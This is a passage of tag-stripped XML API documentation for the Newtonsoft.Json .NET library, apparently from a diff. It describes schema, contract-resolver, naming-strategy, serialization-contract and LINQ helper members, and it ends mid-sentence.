Gets or sets a number that the value should be divisible by. + + A number that the value should be divisible by. + + + + Gets or sets the minimum. + + The minimum. + + + + Gets or sets the maximum. + + The maximum. + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). + + A flag indicating whether the value can not equal the number defined by the minimum attribute (). + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). + + A flag indicating whether the value can not equal the number defined by the maximum attribute (). + + + + Gets or sets the minimum number of items. + + The minimum number of items. + + + + Gets or sets the maximum number of items. + + The maximum number of items. + + + + Gets or sets the of items. + + The of items. + + + + Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . + + + true if items are validated using their array position; otherwise, false. + + + + + Gets or sets the of additional items. + + The of additional items. + + + + Gets or sets a value indicating whether additional items are allowed. + + + true if additional items are allowed; otherwise, false. + + + + + Gets or sets whether the array items must be unique. + + + + + Gets or sets the of properties. + + The of properties. + + + + Gets or sets the of additional properties. + + The of additional properties. + + + + Gets or sets the pattern properties. + + The pattern properties. + + + + Gets or sets a value indicating whether additional properties are allowed. + + + true if additional properties are allowed; otherwise, false. + + + + + Gets or sets the required property if this property is present. + + The required property if this property is present. + + + + Gets or sets the a collection of valid enum values allowed. + + A collection of valid enum values allowed. + + + + Gets or sets disallowed types. + + The disallowed types. + + + + Gets or sets the default value. + + The default value. + + + + Gets or sets the collection of that this schema extends. + + The collection of that this schema extends. + + + + Gets or sets the format. + + The format. + + + + Initializes a new instance of the class. + + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The object representing the JSON Schema. + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The to use when resolving schema references. + The object representing the JSON Schema. + + + + Load a from a string that contains JSON Schema. + + A that contains JSON Schema. + A populated from the string that contains JSON Schema. + + + + Load a from a string that contains JSON Schema using the specified . + + A that contains JSON Schema. + The resolver. + A populated from the string that contains JSON Schema. + + + + Writes this schema to a . + + A into which this method will write. + + + + Writes this schema to a using the specified . + + A into which this method will write. + The resolver used. + + + + Returns a that represents the current . + + + A that represents the current . + + + + + + Returns detailed information about the schema exception. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + + Generates a from a specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets how undefined schemas are handled by the serializer. + + + + + Gets or sets the contract resolver. + + The contract resolver. + + + + Generate a from the specified type. + + The type to generate a from. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + + Resolves from an id. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the loaded schemas. + + The loaded schemas. + + + + Initializes a new instance of the class. + + + + + Gets a for the specified reference. + + The id. + A for the specified reference. + + + + + The value types allowed by the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + No type specified. + + + + + String type. + + + + + Float type. + + + + + Integer type. + + + + + Boolean type. + + + + + Object type. + + + + + Array type. + + + + + Null type. + + + + + Any type. + + + + + + Specifies undefined schema Id handling options for the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Do not infer a schema Id. + + + + + Use the .NET type name as the schema Id. + + + + + Use the assembly qualified .NET type name as the schema Id. + + + + + + Returns detailed information related to the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the associated with the validation error. + + The JsonSchemaException associated with the validation error. + + + + Gets the path of the JSON location where the validation error occurred. + + The path of the JSON location where the validation error occurred. + + + + Gets the text description corresponding to the validation error. + + The text description. + + + + + Represents the callback method that will handle JSON schema validation events and the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + A camel case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Resolves member mappings for a type, camel casing property names. + + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used by to resolve a for a given . + + + + + Gets a value indicating whether members are being get and set using dynamic code generation. + This value is determined by the runtime permissions available. + + + true if using dynamic code generation; otherwise, false. + + + + + Gets or sets the default members search flags. + + The default members search flags. + + + + Gets or sets a value indicating whether compiler generated members should be serialized. + + + true if serialized compiler generated members; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. + + + true if the interface will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. + + + true if the attribute will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. + + + true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. + + + true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. + + The naming strategy used to resolve how property names and dictionary keys are serialized. + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Gets the serializable members for the type. + + The type to get serializable members for. + The serializable members for the type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates the constructor parameters. + + The constructor to create properties for. + The type's member properties. + Properties for the given . + + + + Creates a for the given . + + The matching member property. + The constructor parameter. + A created for the given . + + + + Resolves the default for the contract. + + Type of the object. + The contract's default . + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Determines which contract type is created for the given type. + + Type of the object. + A for the given type. + + + + Creates properties for the given . + + The type to create properties for. + /// The member serialization mode for the type. + Properties for the given . + + + + Creates the used by the serializer to get and set values from a member. + + The member. + The used by the serializer to get and set values from a member. + + + + Creates a for the given . + + The member's parent . + The member to create a for. + A created for the given . + + + + Resolves the name of the property. + + Name of the property. + Resolved name of the property. + + + + Resolves the name of the extension data. By default no changes are made to extension data names. + + Name of the extension data. + Resolved name of the extension data. + + + + Resolves the key of the dictionary. By default is used to resolve dictionary keys. + + Key of the dictionary. + Resolved key of the dictionary. + + + + Gets the resolved name of the property. + + Name of the property. + Name of the property. + + + + The default naming strategy. Property names and dictionary keys are unchanged. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + The default serialization binder used when resolving and loading classes from type names. + + + + + Initializes a new instance of the class. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + The type of the object the formatter creates a new instance of. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer that writes to the application's instances. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides information surrounding an error. + + + + + Gets the error. + + The error. + + + + Gets the original object that caused the error. + + The original object that caused the error. + + + + Gets the member that caused the error. + + The member that caused the error. + + + + Gets the path of the JSON location where the error occurred. + + The path of the JSON location where the error occurred. + + + + Gets or sets a value indicating whether this is handled. + + true if handled; otherwise, false. + + + + Provides data for the Error event. + + + + + Gets the current object the error event is being raised against. + + The current object the error event is being raised against. + + + + Gets the error context. + + The error context. + + + + Initializes a new instance of the class. + + The current object. + The error context. + + + + Provides methods to get attributes. + + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Used by to resolve a for a given . + + + + + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used to resolve references when serializing and deserializing JSON by the . + + + + + Resolves a reference to its object. + + The serialization context. + The reference to resolve. + The object that was resolved from the reference. + + + + Gets the reference for the specified object. + + The serialization context. + The object to get a reference for. + The reference to the object. + + + + Determines whether the specified object is referenced. + + The serialization context. + The object to test for a reference. + + true if the specified object is referenced; otherwise, false. + + + + + Adds a reference to the specified object. + + The serialization context. + The reference. + The object to reference. + + + + Allows users to control class loading and mandate what class to load. + + + + + When implemented, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object + The type of the object the formatter creates a new instance of. + + + + When implemented, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + The that will be used to filter the trace messages passed to the writer. + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Provides methods to get and set values. + + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Contract details for a used by the . + + + + + Gets the of the collection items. + + The of the collection items. + + + + Gets a value indicating whether the collection type is a multidimensional array. + + true if the collection type is a multidimensional array; otherwise, false. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the collection values. + + true if the creator has a parameter with the collection values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the default collection items . + + The converter. + + + + Gets or sets a value indicating whether the collection items preserve object references. + + true if collection items preserve object references; otherwise, false. + + + + Gets or sets the collection item reference loop handling. + + The reference loop handling. + + + + Gets or sets the collection item type name handling. + + The type name handling. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Handles serialization callback events. + + The object that raised the callback event. + The streaming context. + + + + Handles serialization error callback events. + + The object that raised the callback event. + The streaming context. + The error context. + + + + Sets extension data for an object during deserialization. + + The object to set extension data on. + The extension data key. + The extension data value. + + + + Gets extension data for an object during serialization. + + The object to set extension data on. + + + + Contract details for a used by the . + + + + + Gets the underlying type for the contract. + + The underlying type for the contract. + + + + Gets or sets the type created during deserialization. + + The type created during deserialization. + + + + Gets or sets whether this type contract is serialized as a reference. + + Whether this type contract is serialized as a reference. + + + + Gets or sets the default for this contract. + + The converter. + + + + Gets the internally resolved for the contract's type. + This converter is used as a fallback converter when no other converter is resolved. + Setting will always override this converter. + + + + + Gets or sets all methods called immediately after deserialization of the object. + + The methods called immediately after deserialization of the object. + + + + Gets or sets all methods called during deserialization of the object. + + The methods called during deserialization of the object. + + + + Gets or sets all methods called after serialization of the object graph. + + The methods called after serialization of the object graph. + + + + Gets or sets all methods called before serialization of the object. + + The methods called before serialization of the object. + + + + Gets or sets all method called when an error is thrown during the serialization of the object. + + The methods called when an error is thrown during the serialization of the object. + + + + Gets or sets the default creator method used to create the object. + + The default creator method used to create the object. + + + + Gets or sets a value indicating whether the default creator is non-public. + + true if the default object creator is non-public; otherwise, false. + + + + Contract details for a used by the . + + + + + Gets or sets the dictionary key resolver. + + The dictionary key resolver. + + + + Gets the of the dictionary keys. + + The of the dictionary keys. + + + + Gets the of the dictionary values. + + The of the dictionary values. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the dictionary values. + + true if the creator has a parameter with the dictionary values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object constructor. + + The object constructor. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object member serialization. + + The member object serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets the object's properties. + + The object's properties. + + + + Gets a collection of instances that define the parameters used with . + + + + + Gets or sets the function used to create the object. When set this function will override . + This function is called with a collection of arguments which are defined by the collection. + + The function used to create the object. + + + + Gets or sets the extension data setter. + + + + + Gets or sets the extension data getter. + + + + + Gets or sets the extension data value type. + + + + + Gets or sets the extension data name resolver. + + The extension data name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Maps a JSON property to a .NET member or constructor parameter. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the type that declared this property. + + The type that declared this property. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets the name of the underlying member or parameter. + + The name of the underlying member or parameter. + + + + Gets the that will get and set the during serialization. + + The that will get and set the during serialization. + + + + Gets or sets the for this property. + + The for this property. + + + + Gets or sets the type of the property. + + The type of the property. + + + + Gets or sets the for the property. + If set this converter takes precedence over the contract converter for the property type. + + The converter. + + + + Gets or sets the member converter. + + The member converter. + + + + Gets or sets a value indicating whether this is ignored. + + true if ignored; otherwise, false. + + + + Gets or sets a value indicating whether this is readable. + + true if readable; otherwise, false. + + + + Gets or sets a value indicating whether this is writable. + + true if writable; otherwise, false. + + + + Gets or sets a value indicating whether this has a member attribute. + + true if has a member attribute; otherwise, false. + + + + Gets the default value. + + The default value. + + + + Gets or sets a value indicating whether this is required. + + A value indicating whether this is required. + + + + Gets a value indicating whether has a value specified. + + + + + Gets or sets a value indicating whether this property preserves object references. + + + true if this instance is reference; otherwise, false. + + + + + Gets or sets the property null value handling. + + The null value handling. + + + + Gets or sets the property default value handling. + + The default value handling. + + + + Gets or sets the property reference loop handling. + + The reference loop handling. + + + + Gets or sets the property object creation handling. + + The object creation handling. + + + + Gets or sets or sets the type name handling. + + The type name handling. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets a predicate used to determine whether the property should be deserialized. + + A predicate used to determine whether the property should be deserialized. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets an action used to set whether the property has been deserialized. + + An action used to set whether the property has been deserialized. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Gets or sets the converter used when serializing the property's collection items. + + The collection's items converter. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + A collection of objects. + + + + + Initializes a new instance of the class. + + The type. + + + + When implemented in a derived class, extracts the key from the specified element. + + The element from which to extract the key. + The key for the specified element. + + + + Adds a object. + + The property to add to the collection. + + + + Gets the closest matching object. + First attempts to get an exact case match of and then + a case insensitive match. + + Name of the property. + A matching property if found. + + + + Gets a property by property name. + + The name of the property to get. + Type property name string comparison. + A matching property if found. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Lookup and create an instance of the type described by the argument. + + The type to create. + Optional arguments to pass to an initializing constructor of the JsonConverter. + If null, the default constructor is used. + + + + A kebab case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Represents a trace writer that writes to memory. When the trace message limit is + reached then old trace messages will be removed as new messages are added. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Initializes a new instance of the class. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Returns an enumeration of the most recent trace messages. + + An enumeration of the most recent trace messages. + + + + Returns a of the most recent trace messages. + + + A of the most recent trace messages. + + + + + A base class for resolving how property names and dictionary keys are serialized. + + + + + A flag indicating whether dictionary keys should be processed. + Defaults to false. + + + + + A flag indicating whether extension data names should be processed. + Defaults to false. + + + + + A flag indicating whether explicitly specified property names, + e.g. a property name customized with a , should be processed. + Defaults to false. + + + + + Gets the serialized name for a given property name. + + The initial property name. + A flag indicating whether the property has had a name explicitly specified. + The serialized property name. + + + + Gets the serialized name for a given extension data name. + + The initial extension data name. + The serialized extension data name. + + + + Gets the serialized key for a given dictionary key. + + The initial dictionary key. + The serialized dictionary key. + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Hash code calculation + + + + + + Object equality implementation + + + + + + + Compare to another NamingStrategy + + + + + + + Represents a method that constructs an object. + + The object type to create. + + + + When applied to a method, specifies that the method is called when an error occurs serializing an object. + + + + + Provides methods to get attributes from a , , or . + + + + + Initializes a new instance of the class. + + The instance to get attributes for. This parameter should be a , , or . + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Get and set values for a using reflection. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + A snake case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Specifies how strings are escaped when writing JSON text. + + + + + Only control characters (e.g. newline) are escaped. + + + + + All non-ASCII and control characters (e.g. newline) are escaped. + + + + + HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. + + + + + Indicates the method that will be used during deserialization for locating and loading assemblies. + + + + + In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. + + + + + In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. + + + + + Specifies type name handling options for the . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Do not include the .NET type name when serializing types. + + + + + Include the .NET type name when serializing into a JSON object structure. + + + + + Include the .NET type name when serializing into a JSON array structure. + + + + + Always include the .NET type name when serializing. + + + + + Include the .NET type name when the type of the object being serialized is not the same as its declared type. + Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON + you must specify a root type object with + or . + + + + + Determines whether the collection is null or empty. + + The collection. + + true if the collection is null or empty; otherwise, false. + + + + + Adds the elements of the specified collection to the specified generic . + + The list to add to. + The collection of elements to add. + + + + Converts the value to the specified type. If the value is unable to be converted, the + value is checked whether it assignable to the specified type. + + The value to convert. + The culture to use when converting. + The type to convert or cast the value to. + + The converted type. If conversion was unsuccessful, the initial value + is returned if assignable to the target type. + + + + + Helper class for serializing immutable collections. + Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed + https://github.com/JamesNK/Newtonsoft.Json/issues/652 + + + + + Provides a set of static (Shared in Visual Basic) methods for + querying objects that implement . + + + + + Returns the input typed as . + + + + + Returns an empty that has the + specified type argument. + + + + + Converts the elements of an to the + specified type. + + + + + Filters the elements of an based on a specified type. + + + + + Generates a sequence of integral numbers within a specified range. + + The value of the first integer in the sequence. + The number of sequential integers to generate. + + + + Generates a sequence that contains one repeated value. + + + + + Filters a sequence of values based on a predicate. + + + + + Filters a sequence of values based on a predicate. + Each element's index is used in the logic of the predicate function. + + + + + Projects each element of a sequence into a new form. + + + + + Projects each element of a sequence into a new form by + incorporating the element's index. + + + + + Projects each element of a sequence to an + and flattens the resulting sequences into one sequence. + + + + + Projects each element of a sequence to an , + and flattens the resulting sequences into one sequence. The + index of each source element is used in the projected form of + that element. + + + + + Projects each element of a sequence to an , + flattens the resulting sequences into one sequence, and invokes + a result selector function on each element therein. + + + + + Projects each element of a sequence to an , + flattens the resulting sequences into one sequence, and invokes + a result selector function on each element therein. The index of + each source element is used in the intermediate projected form + of that element. + + + + + Returns elements from a sequence as long as a specified condition is true. + + + + + Returns elements from a sequence as long as a specified condition is true. + The element's index is used in the logic of the predicate function. + + + + + Base implementation of First operator. + + + + + Returns the first element of a sequence. + + + + + Returns the first element in a sequence that satisfies a specified condition. + + + + + Returns the first element of a sequence, or a default value if + the sequence contains no elements. + + + + + Returns the first element of the sequence that satisfies a + condition or a default value if no such element is found. + + + + + Base implementation of Last operator. + + + + + Returns the last element of a sequence. + + + + + Returns the last element of a sequence that satisfies a + specified condition. + + + + + Returns the last element of a sequence, or a default value if + the sequence contains no elements. + + + + + Returns the last element of a sequence that satisfies a + condition or a default value if no such element is found. + + + + + Base implementation of Single operator. + + + + + Returns the only element of a sequence, and throws an exception + if there is not exactly one element in the sequence. + + + + + Returns the only element of a sequence that satisfies a + specified condition, and throws an exception if more than one + such element exists. + + + + + Returns the only element of a sequence, or a default value if + the sequence is empty; this method throws an exception if there + is more than one element in the sequence. + + + + + Returns the only element of a sequence that satisfies a + specified condition or a default value if no such element + exists; this method throws an exception if more than one element + satisfies the condition. + + + + + Returns the element at a specified index in a sequence. + + + + + Returns the element at a specified index in a sequence or a + default value if the index is out of range. + + + + + Inverts the order of the elements in a sequence. + + + + + Returns a specified number of contiguous elements from the start + of a sequence. + + + + + Bypasses a specified number of elements in a sequence and then + returns the remaining elements. + + + + + Bypasses elements in a sequence as long as a specified condition + is true and then returns the remaining elements. + + + + + Bypasses elements in a sequence as long as a specified condition + is true and then returns the remaining elements. The element's + index is used in the logic of the predicate function. + + + + + Returns the number of elements in a sequence. + + + + + Returns a number that represents how many elements in the + specified sequence satisfy a condition. + + + + + Returns a that represents the total number + of elements in a sequence. + + + + + Returns a that represents how many elements + in a sequence satisfy a condition. + + + + + Concatenates two sequences. + + + + + Creates a from an . + + + + + Creates an array from an . + + + + + Returns distinct elements from a sequence by using the default + equality comparer to compare values. + + + + + Returns distinct elements from a sequence by using a specified + to compare values. + + + + + Creates a from an + according to a specified key + selector function. + + + + + Creates a from an + according to a specified key + selector function and a key comparer. + + + + + Creates a from an + according to specified key + and element selector functions. + + + + + Creates a from an + according to a specified key + selector function, a comparer and an element selector function. + + + + + Groups the elements of a sequence according to a specified key + selector function. + + + + + Groups the elements of a sequence according to a specified key + selector function and compares the keys by using a specified + comparer. + + + + + Groups the elements of a sequence according to a specified key + selector function and projects the elements for each group by + using a specified function. + + + + + Groups the elements of a sequence according to a specified key + selector function and creates a result value from each group and + its key. + + + + + Groups the elements of a sequence according to a key selector + function. The keys are compared by using a comparer and each + group's elements are projected by using a specified function. + + + + + Groups the elements of a sequence according to a specified key + selector function and creates a result value from each group and + its key. The elements of each group are projected by using a + specified function. + + + + + Groups the elements of a sequence according to a specified key + selector function and creates a result value from each group and + its key. The keys are compared by using a specified comparer. + + + + + Groups the elements of a sequence according to a specified key + selector function and creates a result value from each group and + its key. Key values are compared by using a specified comparer, + and the elements of each group are projected by using a + specified function. + + + + + Applies an accumulator function over a sequence. + + + + + Applies an accumulator function over a sequence. The specified + seed value is used as the initial accumulator value. + + + + + Applies an accumulator function over a sequence. The specified + seed value is used as the initial accumulator value, and the + specified function is used to select the result value. + + + + + Produces the set union of two sequences by using the default + equality comparer. + + + + + Produces the set union of two sequences by using a specified + . + + + + + Returns the elements of the specified sequence or the type + parameter's default value in a singleton collection if the + sequence is empty. + + + + + Returns the elements of the specified sequence or the specified + value in a singleton collection if the sequence is empty. + + + + + Determines whether all elements of a sequence satisfy a condition. + + + + + Determines whether a sequence contains any elements. + + + + + Determines whether any element of a sequence satisfies a + condition. + + + + + Determines whether a sequence contains a specified element by + using the default equality comparer. + + + + + Determines whether a sequence contains a specified element by + using a specified . + + + + + Determines whether two sequences are equal by comparing the + elements by using the default equality comparer for their type. + + + + + Determines whether two sequences are equal by comparing their + elements by using a specified . + + + + + Base implementation for Min/Max operator. + + + + + Base implementation for Min/Max operator for nullable types. + + + + + Returns the minimum value in a generic sequence. + + + + + Invokes a transform function on each element of a generic + sequence and returns the minimum resulting value. + + + + + Returns the maximum value in a generic sequence. + + + + + Invokes a transform function on each element of a generic + sequence and returns the maximum resulting value. + + + + + Makes an enumerator seen as enumerable once more. + + + The supplied enumerator must have been started. The first element + returned is the element the enumerator was on when passed in. + DO NOT use this method if the caller must be a generator. It is + mostly safe among aggregate operations. + + + + + Sorts the elements of a sequence in ascending order according to a key. + + + + + Sorts the elements of a sequence in ascending order by using a + specified comparer. + + + + + Sorts the elements of a sequence in descending order according to a key. + + + + + Sorts the elements of a sequence in descending order by using a + specified comparer. + + + + + Performs a subsequent ordering of the elements in a sequence in + ascending order according to a key. + + + + + Performs a subsequent ordering of the elements in a sequence in + ascending order by using a specified comparer. + + + + + Performs a subsequent ordering of the elements in a sequence in + descending order, according to a key. + + + + + Performs a subsequent ordering of the elements in a sequence in + descending order by using a specified comparer. + + + + + Base implementation for Intersect and Except operators. + + + + + Produces the set intersection of two sequences by using the + default equality comparer to compare values. + + + + + Produces the set intersection of two sequences by using the + specified to compare values. + + + + + Produces the set difference of two sequences by using the + default equality comparer to compare values. + + + + + Produces the set difference of two sequences by using the + specified to compare values. + + + + + Creates a from an + according to a specified key + selector function. + + + + + Creates a from an + according to a specified key + selector function and key comparer. + + + + + Creates a from an + according to specified key + selector and element selector functions. + + + + + Creates a from an + according to a specified key + selector function, a comparer, and an element selector function. + + + + + Correlates the elements of two sequences based on matching keys. + The default equality comparer is used to compare keys. + + + + + Correlates the elements of two sequences based on matching keys. + The default equality comparer is used to compare keys. A + specified is used to compare keys. + + + + + Correlates the elements of two sequences based on equality of + keys and groups the results. The default equality comparer is + used to compare keys. + + + + + Correlates the elements of two sequences based on equality of + keys and groups the results. The default equality comparer is + used to compare keys. A specified + is used to compare keys. + + + + + Computes the sum of a sequence of values. + + + + + Computes the sum of a sequence of + values that are obtained by invoking a transform function on + each element of the input sequence. + + + + + Computes the average of a sequence of values. + + + + + Computes the average of a sequence of values + that are obtained by invoking a transform function on each + element of the input sequence. + + + + + Computes the sum of a sequence of nullable values. + + + + + Computes the sum of a sequence of nullable + values that are obtained by invoking a transform function on + each element of the input sequence. + + + + + Computes the average of a sequence of nullable values. + + + + + Computes the average of a sequence of nullable values + that are obtained by invoking a transform function on each + element of the input sequence. + + + + + Returns the minimum value in a sequence of nullable + values. + + + + + Invokes a transform function on each element of a sequence and + returns the minimum nullable value. + + + + + Returns the maximum value in a sequence of nullable + values. + + + + + Invokes a transform function on each element of a sequence and + returns the maximum nullable value. + + + + + Computes the sum of a sequence of values. + + + + + Computes the sum of a sequence of + values that are obtained by invoking a transform function on + each element of the input sequence. + + + + + Computes the average of a sequence of values. + + + + + Computes the average of a sequence of values + that are obtained by invoking a transform function on each + element of the input sequence. + + + + + Computes the sum of a sequence of nullable values. + + + + + Computes the sum of a sequence of nullable + values that are obtained by invoking a transform function on + each element of the input sequence. + + + + + Computes the average of a sequence of nullable values. + + + + + Computes the average of a sequence of nullable values + that are obtained by invoking a transform function on each + element of the input sequence. + + + + + Returns the minimum value in a sequence of nullable + values. + + + + + Invokes a transform function on each element of a sequence and + returns the minimum nullable value. + + + + + Returns the maximum value in a sequence of nullable + values. + + + + + Invokes 